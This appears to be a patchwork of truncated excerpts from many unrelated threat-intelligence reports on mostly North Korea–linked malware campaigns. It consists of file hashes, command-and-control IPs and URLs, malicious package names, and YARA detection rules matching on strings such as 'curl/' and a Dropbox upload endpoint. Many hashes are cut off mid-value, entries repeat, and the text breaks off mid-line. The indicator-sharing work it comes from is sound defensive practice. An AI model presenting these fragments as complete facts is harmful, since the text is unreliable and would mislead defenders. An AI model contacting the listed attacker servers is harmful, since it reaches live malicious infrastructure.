484ff14e1532d43c92c8e2911f35f5c6 token_log.js (dev-debugger-vite) 3 MD5 b30ad48b17e7191062fc47c9803b960f writer.js (core-pino) 4…","…64c39680027d56a32ffd4ceb7870b05bdd497a3a7c902f23639cb3b43ba1 SHA256:071aff6941dc388516d8ca0215b757f9bee7584dea6c27c4c6993da192df1ab9 SHA256:486f305bdd09a3ef6636e92c6a9e01689b8fa977ed7ffb898453c43d47b5386d SHA256:ec234419fc512baded05f7b29fefbf12f898a505f62c43d3481aed90fef33687 FileName:0xhpenvynb-mvp_gamba-6b10f2e9dd85.zip SOLWallet:V2grJiwjs2…","…e224a1db42ae2164d6b2f2a7f1f0e02056e099fc8d669ce37cdaa0a2a2750e3b SHA256 Second unnamed piped bash script in Linux infection chain 4a1588e27a3f322e94e490173fe2bfa8d6e2f407b81a77af8787619b0d3d10bd SHA256 linvidia BeaverTail JavaScript file Infrastructure IOC Type Description businesshire.top Domain…","…(MauroDPRKSamples.zip) = cc31b3dc8aeed0af9dd24b7e739f183527d55d5b5ecd3d93ba45dd4aaa8ba260 SHA256 (minst2.bin) = 4b08a9e221a20b8024cf778d113732b3e12d363250231e78bae13b1f1dc1495b SHA256 (OneDrive) = a9562ab6bce06e92d4e428088eacc1e990e67ceae6f6940047360261b5599614 SHA256 (SystemApp.zip) =…","…d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106 7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e 4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79 32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236 SHA1…","…of ($func*) and all of ($c*) } rule G_Backdoor_SILENCELIFT_1 { meta: author = \"Google Threat Intelligence Group (GTIG)\" md5 = \"4e4f2dfe143ba261fd8a18d1c4b58f2e\" date_created = \"2025/10/23\" date_modified = \"2025/10/28\" rev = 2 strings: $ss1 = \"/usr/libexec/PlistBuddy -c \\\"print…","…fcb636 ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4 78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4 4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12 978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4…","…3e6360f83a95540aa2176d279ca4694513afb1e5116a7ffe591c6b5bcf3b9c3c SHA-256 next-ecommerce-private-main.zip Trojanized repository 4e7639045b4a64de60bfb6312951a5c3dffbd3fb04b84837663242ed27f09864 SHA-256 shopping-platform-main.zip Trojanized repository 54bf36910d81ab516037cb3d69d7c85190f90aa0da9e58617799c1fc738dc5a9 SHA-256…","…Packagist: visanduma/nova-two-factor@dev-nova5 Malicious File filename: tailwind.config.js SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a References https://socket.dev/blog/polinrider-github-packagist About MistEye MistEye is a Web3 threat intelligence and dynamic…","…(cln-logger) 5 MD5 7eb685fd9f3898577ee3082cedb29510 regMsgEx.js (consolidate-log) 6 MD5 51bd561c3a476662f985710c2f17c093 output.js (consolidate-logger) 7 MD5 53faeba2887693d8810c58f7ca13041f prepare-writer.js (node-clog)…","…6d184f379 0904eff1edeff4b6eb27f03e0ccc759d6aa8d4e1317a1e6f6586cdb84db4a731 d27c9f75c3f1665ee19642381a4dd6f2e4038540442cf50948b43f418730fd0a 51ddd8f6ff30d76de45e06902c45c55163ddbec7d114ad89b21811ffedb71974 d89c45d65a825971d250d12bc7a449321e1977f194e52e4ca541e8a908712e47 6a9b4e8537bb97e337627b4dd1390bdb03dc66646704bd4b68739d499bd53063 a6914ded7…","…80237d 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c 13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9 52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7 C&C…","…Affected file URL: https://github.com/roberts/leads/blob/drewroberts/feature/test-case/tailwind.js SHA-256 Hashes # Archive: 522b28a2f78771715497ba53729d4ab9a50e982322c391379f3bddf7c8cb363f tailwind.js : 96afdba882046385242cbed46871e41147c8055c5d9eff7460847b2c01a77dc3 TRON Wallets #…","…2812e0847d472cb8870c94f463331dbe53b84135132b9bf5f6d84c2382be628f SHA256 detect_malware.py.enc May 2026 52886aab179f26421678ff23af1b0fabf0a17ffbb534369cdbbac8008cbed8e7 SHA256 google-update-support.vsix May 2026…","…IP 45.61.140.26 23.254.253.75 45.61.128.122 45.61.135.105 144.172.74.23 144.172.74.141 172.86.108.47 216.107.136.10 MD5 529fe6eff1cf452680976087e2250c02 SHA-256 bd2aa5805b76f272b43a595b3d73e29d0fc4647e15e87950b8f904ea26dcf053 SHA1 7e07765bf8ee2d0b2233039623016d6dfb610a6d…","…URL NICKEL ALLEY malware staging server https://astraluck-vercel.vercel.app/api/dat URL NICKEL ALLEY malware staging server 52f173a760db5d68e52ba1f1ac51c023 MD5 hash VBScript file used by NICKEL ALLEY (start.vbs) 2151d4d7dc8d6dca7242928a17ea3fb14f58ccef SHA1 hash VBScript file used by NICKEL…","…\"-n\" ], } ... } …interestingly it executes .test with the arguments /usr/local/bin/ssh and -n . The .test binary (SHA-1: 5365597ECC3FC59F09D500C91C06937EB3952A1D ) appears to be known malware : .test on VirusTotal Specifically it seems to be a macOS built of Khepri , which according to a…","…6 MD5 51bd561c3a476662f985710c2f17c093 output.js (consolidate-logger) 7 MD5 53faeba2887693d8810c58f7ca13041f prepare-writer.js (node-clog) 8 MD5 a7e5334e37358902442c891e5d0008f8 index.js (is-buffer-validator)…","…repository 4e7639045b4a64de60bfb6312951a5c3dffbd3fb04b84837663242ed27f09864 SHA-256 shopping-platform-main.zip Trojanized repository 54bf36910d81ab516037cb3d69d7c85190f90aa0da9e58617799c1fc738dc5a9 SHA-256 ecommerce-platform.zip Trojanized repository 96357529d17c4690826d5d4c74deac51743a5388733b3f04004d898f0635ef20 SHA-256…","…IOCs sha256 6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59 5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c 13412b…","…침해 지표 (Indicator of Compromise) MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d1…","…Indicator of Compromise MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d1…","…Wallet 0xc4ae381a843cea3724f007d655d2b50ce92edc0d Funded the overlay deployer Files Name SHA256 Notes token_windows.cmd 5784bc7081fe600212a4d24c304159d4135fdbdd292e3b2214e88b4bb70463a5 VT 20/56 token.cmd 99a74570fa5fc13f000670cd314707cb08275d1ca8347801fdc27df508b053d1 /302/ tokenlinux.sh…","…8 SHA256 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f axios@0.30.4 9 SHA256 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 plain-crypto-js-4.2.1.tgz 10 SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101…","…ALLEY (audiodriver.py) ac26ecf52002d87f3ba89f9e1b0742eed9e75e3d SHA1 hash PyLangGhost RAT used by NICKEL ALLEY (audiodriver.py) 58c1e49c67e5b7bcf10d30e370685d10c2fa263f24b8d099a97005c7a35f1346 SHA256 hash PyLangGhost RAT used by NICKEL ALLEY (audiodriver.py) talentacq.pro Domain name NICKEL ALLEY malware staging server for…","…21d2470cae072cf2d027d473d168158c 630,301 1/76 9.2 Hashes NOT on VirusTotal Hash Source 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f axios@0.30.4 tarball (SafeDep) — not on VT e0829aff46c24415fc9b8a346d617ca5877b53cdd80e7a0f92dd877499fbebfe C2 response payload,…","…7 SHA256 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd axios@1.14.1 8 SHA256 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f axios@0.30.4 9 SHA256 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668…","…RAT Attribute VT-Verified Value SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf SHA1 59faac136680104948e083b3b67a70af9bfa5d5e MD5 9663665850cdd8fe12e30a671e5c4e6f Size 12,323 bytes Type Python Detection 2/76 (initially 0/76, Kaspersky + Avira…","…avoid becoming the next stage in someone's attack chain analysis. Indicators of Compromise (IOCs) File Hashes Stage 3 Linux: MD5: 5a2c042b086a475dca4c7dcec62693c1 SHA256: 699cd6c292b8a5933dabee63c74a9a3069ed6432c3433ab945ab46fe816d9e2c Size: 8,806,400 bytes Stage 3 Windows: MD5:…","…New IOCs C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22 46f5eea70d536f7affe40409d7aaa5fa0009f0dc4538ba2867cb7569737db859 8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e…","…SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a WAVESHAPER.V2 (macOS) 7 SHA256 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd axios@1.14.1 8 SHA256 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f axios@0.30.4…","…from 198.105.127.210 84a3f1bd81ae4780776c93f9a5ec1cb0d7d6fb613f4a104cceaa93568bdbd0ab,SHA-256,3,/0/boot response from 45.137.198.133 5cbcb8e11f6152c80cf88f752bcf9cb1077a88eac5e4eb02471f093248db01ac,SHA-256,4,/init JSON response f6d9f2fbf8091f431a802c4a0b8a5661278ee3f0854fb9040a0702e894b2309e,SHA-256,4,/0/body response (XOR…","…10 MD5 1593447fc915c3e26ea301e959f4e182 yoojae-validator.js (yoojae-validator) 11 MD5 5d2dae18af58b25aecdd7b21ec24ce81 index.js (event-utils) 12 MD5 839fe5b6de8dee3f25c9a393f6f38310 index.js (event-handle-package) 13…","…b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981b…","…used by NICKEL ALLEY (start.vbs) 2151d4d7dc8d6dca7242928a17ea3fb14f58ccef SHA1 hash VBScript file used by NICKEL ALLEY (start.vbs) 5e307ef3aa9f20d963382700173530cdc455c1523631bbe22ede3710a2a30373 SHA256 hash VBScript file used by NICKEL ALLEY (start.vbs) e9b9d86a22f9795d42632650a78d57df MD5 hash PyLangGhost RAT used by NICKEL…","…unpublish request rather than an automated security takedown. Of the fourteen likely self-removed packages, eleven share loader hash 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 — confirmed by running shasum -a 256 against all downloaded tarballs — placing them in the BADC6 cluster.E33 They were removed in five…","…source = \"SEKOIA\" creation_date = \"2023-04-24\" classification = \"TLP:WHITE\" reference = \"https://tinyurl.com/5n7f56a8\" hash = \"606bce13161693844b9eb36c96554883\" hash = \"b93d7b7b30207249c1c683df16bad107\" hash = \"ca86579220eecfaede268d1520d07fae\" hash = \"f8800dd176487601ccf2e27c094b297b\"…","…SHA256 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e…","…entirely in-memory via [scriptblock]::Create() . 3.2 Stage 2 — PowerShell RAT Attribute VT-Verified Value SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 SHA1 a90c26e7cbb3440ac1cad75cf351cbedef7744a8 MD5 04e3073b3cd5c5bfcde6f575ecf6e8c1 Size 11,042 bytes (382 lines) Type…","…PowerShell payload Downloaded from C2, self-deleting SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 %PROGRAMDATA%\\system.bat File created by PowerShell SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd…","…58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 plain-crypto-js-4.2.1.tgz 10 SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 Windows 11 SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf ld.py(Linux)…","…fa-solid-300.llf , first seen 2026-09-28; identical in all three repos SHA-256 6200054e0ea8575c3af37e4da10e23249bf0a17d1d6843ecc81ee35af2f7d1f2 .vscode/tasks.json running fa-solid-300.llf , in GulamRosul/Curved-navigation-bar SHA-256…","…0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a9c22079c898fc112e67ce1caff8f54 C2…","…SHA1 3630d9daeb501bf345299aacc710fd68aa7a154f 98746c50fc4aa656fe3a5747cc05ecaa7c17243b 64c3b90c4093091c4cdedce4b7807dd790323624 a94cef78aa9f22284c7e733680a1369caa50f035 Remediation Block all threat indicators at your respective controls. Search for indicators…","…package 247fdba5fbfd076d9c530d937406aa097d6794b9af26bfc64bf6ea765ed51a50 SHA256 preinstall script contained in nvidia.pkg 65665c3faba4fbfed12488e945306b10131afb9d3ad928accdcef75e0945a086 SHA256 downx64.sh macOS installer script 25c9fc5c5564a74430b92cb658d43e441dee1b3c0f692dc2571ac2918efa9a52 SHA256 x64nvidia…","…Hash-match running Python processes against the known AUDIOFIX SHA-256: 65cba741fe30fa4799fb9002ea8de6d96042a59159dd7c3419c766af24c835e6. What should I do if I downloaded a fake Teams fix or driver update? Assume full compromise of the device and all credentials stored on…","…`fb7f9d7b0b8dbd76feeed437378493c6142f728db8e726417d20cec5735bf9f5` - Hidden JavaScript payload size: 2,901,715 bytes - Video SHA-256: `665d013769320c8fe90426b707864f9128fd419107ae1f69525cfece7217044b` --- ## 3.…","…9d80eb52f8b6fc90f5c5db98182e7d5297073f120a67b22700bf88c17d27 SHA256:318792ed0fcb64059670956468d7e0ef62edb15c967cd1f13fa8774e5e5c28ae SHA256:66c3d0eaf68dcc97c092ce48ed65df49a8dcb7e1c3e2137f98ad16826ee5ef8d SHA256:0c47f6db79f5c4db86227b1fba4528ca8c2f8a1e86302863add8fd3f966b1b30 SHA256:e4677a8fb20517393a761c49075f0e4fdfe80f28f6bdeacb246e7d9b3858…","…a scheduled task for it. ad.anynet.pwd_hash=1bbb953890e752a6898afe71121583881c3eebd2365df7d985c52dda0bd89e14 ad.anynet.pwd_salt=675928d7a0a28f70740b7eedf021de82 ad.anynet.token_salt=2c5e45a85a8eed94ffed26a7c3b0790e Figure 13: Lines added for AnyDesk service.conf file Steals data from Microsoft…","…two samples: Linux Binary: third.stage.payload - Type: ELF 64-bit LSB executable, x86-64 - Size: 8.4 MB (8,806,400 bytes) - SHA256: 699cd6c292b8a5933dabee63c74a9a3069ed6432c3433ab945ab46fe816d9e2c Windows Binary: third.stage.exe - Type: PE32+ executable (GUI) x86-64 - Size: 8.1 MB (8,493,056 bytes) - SHA256:…","…based on strings\" source = \"Sekoia.io\" creation_date = \"2025-03-19\" classification = \"TLP:GREEN\" hash = \"69bf17d2fb810df08180f0d5b7ce4537\" strings: $ = \"content.dropboxapi.com/2/files/upload\" $ = \"Failed to get public IP address.\" $ = \"Failed to…","…The secondary payload (SHA256: 6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0 ) is downloaded under the filenames p.zi or p2.zip and extracted using tar -xf , following a multi-stage deployment strategy consistent…","…Mach-O file 17891f7db5a633c0186f3c2c8311a16a989b55bb0ba0430da7d2afb7f616c79c SHA256 nvidia.tar.gz Windows delivery archive 6a16b1ef16e999a0d32a4b9189f6f179d629ba143b5b03db06c95156ee089615 SHA256 update.vbs Windows launcher script e79b827b3cc29e940736dc20cc9c25958c0b09c25fc0bc8aacbd6365f38db71f SHA256 nvidiasdk.exe…","…18730fd0a 51ddd8f6ff30d76de45e06902c45c55163ddbec7d114ad89b21811ffedb71974 d89c45d65a825971d250d12bc7a449321e1977f194e52e4ca541e8a908712e47 6a9b4e8537bb97e337627b4dd1390bdb03dc66646704bd4b68739d499bd53063 a6914ded72bdd21e2f76acde46bf92b385f9ec6f7e6b7fdb873f21438dfbff1d 9e65de386b40f185bf7c1d9b1380395e5ff606c2f8373c63204a52f8ddc01982 dff2a0fb3…","…IOCs sha256 6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59 5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d 8b6d68…","…6920017fba0b70b7295c6d7a06710df38c0d6158a12d3723343919da7fd2 SHA256:97fe475a4177de4e55f3791276fb0553f28fcc19d4edb73038c1ad7238ae265f SHA256:6ce66f7a2fe04fb451f12bcf4a1ac1c27b3fc02fac72c177d02f547c705e03e1 References Level Blue Labs OTX - Original Intelligence Pulse by Quetzal Team Still here? Have a Special Edition muppet!…","…SHA256 windows-agent-node.js.enc May 2026 6cf9f7b2aa456a0b438600588df869b38d8007e28f01fa96022f9d8059f120b0 SHA256 windows-js-pipeline.js.enc May 2026…","…# ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636 ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4 78c8b9…","…d043f264ff5216fa724cad2d35ba4d895c43e295df72be6d46c07a3a46cfbd62 Payloads payload2.js (InvisibleFerret.Javascript) SHA256: 7237310e076459d2fce2f531941b5920e451f390a8b8e633787b62b68b1315d5 boot-decoded-2.js SHA256: 91822e59bd642f8e6f321011d0fb45b8a5f0854547ea898dead5d5af1db3ed9b C2 URL /verify-human/5-74…","f08e3ee84714cc5faefb7ac300485c879356922003d667587c58d594d875294e 72ebfe69c69d2dd173bb92013ab44d895a3367f91f09e3f8d18acab44e37b26d caad2f3d85e467629aa535e0081865d329c4cd7e6ff20a000ea07e62bf2e4394 8efa928aa896a5bb3715b8b0ed20881029b0a165a296334f6533fa9169b4463b 77aec4800…","…URL:http://144.172.93.88:8080/gettext SHA256:72f96d15c4ffb3abadcac3ec4299714f35ca4b732ad7db3d268712ee0692d713 SHA256:0a716920017fba0b70b7295c6d7a06710df38c0d6158a12d3723343919da7fd2 SHA256:97fe475a4177de4e55f3791276fb0553f28fcc19d4edb73038c1ad7238ae…","…(High Degree of Confidence) YARA Rule Name SHA256 Hash Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_1_1Oct25 742016f01fa89be4d43916d5d2349c8d86dc89f096302501ec22b5c239685a20 Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_1_1Oct25 a7d7075e866132b8e8eb87265f7b7fab0e9f6dd7f748445a18f37da2e989faa3…","…Trojan.Script.Agent EBED87A47743FA5D81F8E1B2BF6E9058 MD5 initializeCaller.js (v1.4.5) Trojan.Script.Agent 751F36896A5547C4EAECFF9EC80558CD MD5 chai-as-init-1.4.6.tgz Trojan.Script.Agent 02C31A426801C27D65B02D9E04C28FD4 MD5 initializeCaller.js (v1.4.6)…","…46e275 b302be4f9c515eb68d3e8b1ad8388d45b788eca34e7d53726d05c310a8f66af7 18ec3c93e076e16447aee6fa390a44d3cb03e7f46e8466535ee76ed2041a88e5 75a82b9a2e7cfa0002fbbd1dbcb0bfaf5f6333169fd53507f7119593b9c4482e e3ed631addd7242e8c1f6faa90087742ff5b442e734132d2fe2594d65659eafd Table of contents Example H2 Example H3 Ready to escape…","…Run key: MicrosoftCLROptimization Password protected archive: [REDACTED_DIGITS].zip (Downloads) File hashes (SHA-256) 97icr5.py: 75ad8365fce771294258a792fcd6b92be499714626aba0960aa1c1746e8672fd s5w2f0.js: 7c4029b7f1383e25fb1b1ed10292e0bbe024952df2772c1d14f3bfee6ab29984 README.md (gitlab):…","…SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SHA1 b0e0f12f1be57dc67fa375e860cedd19553c464d MD5 7658962ae060a222c0058cd4e979bfa1 Size 4,209 bytes Type JavaScript (minified, single line) Detection 2/76 VT Tags long-sleeps , obfuscated , javascript…","…6ac3bd5e67f5ba1f8effbb53d25078e11ba3dd3d3d5046f5409d653c73db5d59 5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c 13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9 52046a…","…44e37b26d caad2f3d85e467629aa535e0081865d329c4cd7e6ff20a000ea07e62bf2e4394 8efa928aa896a5bb3715b8b0ed20881029b0a165a296334f6533fa9169b4463b 77aec48003beeceb88e70bed138f535e1536f4bbbdff580528068ad6d184f379 0904eff1edeff4b6eb27f03e0ccc759d6aa8d4e1317a1e6f6586cdb84db4a731 d27c9f75c3f1665ee19642381a4dd6f2e4038540442cf50948b43f418730fd0a 51ddd8f6f…","Transcribed by hand on 27 September 2026 from SlowMist's analysis of a repository a fake Web3 recruiter sent a developer over LinkedIn. The post does not name North Korea. The cluster label rests on the malware: its HMAC key, SuperStr0ngSecret@)@^, and its layout of upload endpoints on ports 8085 and 8086 with a Socket.IO channel and /api/notify on 8087 are the same as in the stealer SANS ISC (diary 33006, 22 May 2026) tied to a DPRK OtterCookie command-and-control address and research.veryserious.systems (13 June 2026) attributed to North Korea's Contagious Interview activity. The repository and its owning account, the command-and-control address, the loader's SHA-256 and its file name are the values the post's IOC section gives; the six endpoint URLs on that address are not carried separately. Values are re-fanged and nothing else is altered.","…SHA-256 d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106 7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e 4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79 32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236 SHA1…","…SHA256 1.bat Loader January 2025 78aa2335d3e656256c50f1f2c544b32713790857998068a5fa6dec1fb89aa411 SHA256 2.bat Loader January 2025…","…8b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636 ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4 78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4 4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12 978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8 da1775…","…description = \"Detects the NodeJS Downloader\" source = \"Sekoia.io\" creation_date = \"2025-03-20\" classification = \"TLP:GREEN\" hash = \"7978d40bd5ca56021f6c250f564e7e27\" strings: $ = \"spawn('tar', ['-xf\" $ = \"/t', 'REG_SZ\" $ = \"curl/\" condition: uint32be(0) == 0x636f6e73 and filesize < 10KB and all…","…(InfoStealer Stager) 8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201 SHA256 Payload1_2_1_1 (Python OmniStealer) 7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8 SHA256 Python Installer Download http://[IP]:27017/d/python.zip Downloader path Alternative Python Installer…","…SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a SHA1 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e MD5 7a9ddef00f69477b96252ca234fcbeeb Size 657,424 bytes (642 KB) Type Mach-O fat binary (universal: x86_64 + ARM64) Detection 8/76 VT Label trojan.nukesped…","…by id79-client , HTTP 404 on retrieval) Npoint C2-config resolver https://api.npoint.io/37c0a0c68bf7a94ed731 Second-stage SHA-256 7b15605f23b131b3eeea57e031ae7cb32fc4b78c7bbb2025aa7a561ea5ae5159 npm package @biz44/id10-client npm package @biz44/id12-client npm package @biz44/id44-client npm package @biz44/id79-client…","…SHA-256 (macOS) bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd SHA-256 (Windows) 7c5adef4b5aee7a4aa6e795a86f8b7d601618c3bc003f1326ca57d03ec7d6524 Registration email aokisasaki1122@gmail.com Registration email shiningup1996@gmail.com GitHub account…","…MD5 529fe6eff1cf452680976087e2250c02 SHA-256 bd2aa5805b76f272b43a595b3d73e29d0fc4647e15e87950b8f904ea26dcf053 SHA1 7e07765bf8ee2d0b2233039623016d6dfb610a6d Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…writer.js (core-pino) 4 MD5 afefc11502dfcb3696e6028c5c6fc36c report.js (cln-logger) 5 MD5 7eb685fd9f3898577ee3082cedb29510 regMsgEx.js (consolidate-log) 6 MD5 51bd561c3a476662f985710c2f17c093 output.js (consolidate-logger)…","…2 file_sha256 2c09fce2856bcd92b8afea424da0f9daa67bf2d22ceb625af60deaabd3d0573d scripts/prebuild.js stage 1 dropper 3 file_sha256 7f287aa27edecd135400060c3581bcbcf6320b53bb23da4f1bc0421bfd2c239c package.json @2aa85046 with prebuild hook 4 file_path scripts/prebuild.js stage 1 dropper run by npm prebuild (repo-relative) 5…","…f6db79f5c4db86227b1fba4528ca8c2f8a1e86302863add8fd3f966b1b30 SHA256:e4677a8fb20517393a761c49075f0e4fdfe80f28f6bdeacb246e7d9b3858542f SHA256:7f78ce8bd2c7e2ccd71fc62bcfb29ce5b0d91efaff4c51f629195efb0293184d SHA256:ee93c0caa82ed4b362b1f13b230687cf403fea83f7a7e3090c9bbe08955878c4 SHA256:91c47f8ddb5a937c461bee6021569544e6fa009e103e6f34b59b9d342338…","…(yoojae-validator) 11 MD5 5d2dae18af58b25aecdd7b21ec24ce81 index.js (event-utils) 12 MD5 839fe5b6de8dee3f25c9a393f6f38310 index.js (event-handle-package) 13 MD5 464b8bf3a3047833edf3dd35b4a35053 index.js (empty-array-validator)…","…ipmsg5.6.18_installer.exe 2 MD5 a31f8f6e6078f9f59d195e3e2f29d1b3 ATT_Loader_DLL.dll 3 MD5 8459e1c6f6c1d3996b3a86146eb961bf Loader1.dll 4 MD5 d4e2bd08c8366be665e54592dec1a7ce Dll64.dll 5 C2…","…the /0/body response 02b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63,SHA-256,3,/boot response from 198.105.127.210 84a3f1bd81ae4780776c93f9a5ec1cb0d7d6fb613f4a104cceaa93568bdbd0ab,SHA-256,3,/0/boot response from 45.137.198.133 5cbcb8e11f6152c80cf88f752bcf9cb1077a88eac5e4eb02471f093248db01ac,SHA-256,4,/init JSON…","…(localencode) = a9562ab6bce06e92d4e428088eacc1e990e67ceae6f6940047360261b5599614 SHA256 (macrasv2) = 85bed283ba95d40d99e79437e6a3161336c94ec0acbc0cd38599d0fc9b2e393c SHA256 (MauroDPRKSamples.zip) = cc31b3dc8aeed0af9dd24b7e739f183527d55d5b5ecd3d93ba45dd4aaa8ba260 SHA256 (minst2.bin) =…","…SHA256 mer.ps1 Dropper January 2025 85db55aab78103f7c2d536ce79e923c5fd9af14a2683f8bf290993828bddeb50 SHA256 Unknown QuasarRAT January 2025 TA450 Network Indicators…","…Indicator Type Description Detection Name 90708BF06B972FBDE9AE254AA3E0F835 MD5 index.js Trojan.Script.Agent 860DB751FC7700524BD3895B43DAB67C MD5 chai-as-init-1.4.5.tgz Trojan.Script.Agent EBED87A47743FA5D81F8E1B2BF6E9058 MD5 initializeCaller.js (v1.4.5)…","…d05f805d172583f1436eac2cfddcc5413ef6be0b37eda98ebca0cb0cfae8ad9e 96e78074218a0f272f7f94805cabde1ef8d64ffb 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 321972e4e72c5364ec1d5b9e488d15c641fb1819 3405469811bae511e62cb0a4062aadb523cad263 c0baa450c5f3b6aacde2807642222f6d22d5b4bb…","…(TeamsApp.zip) = 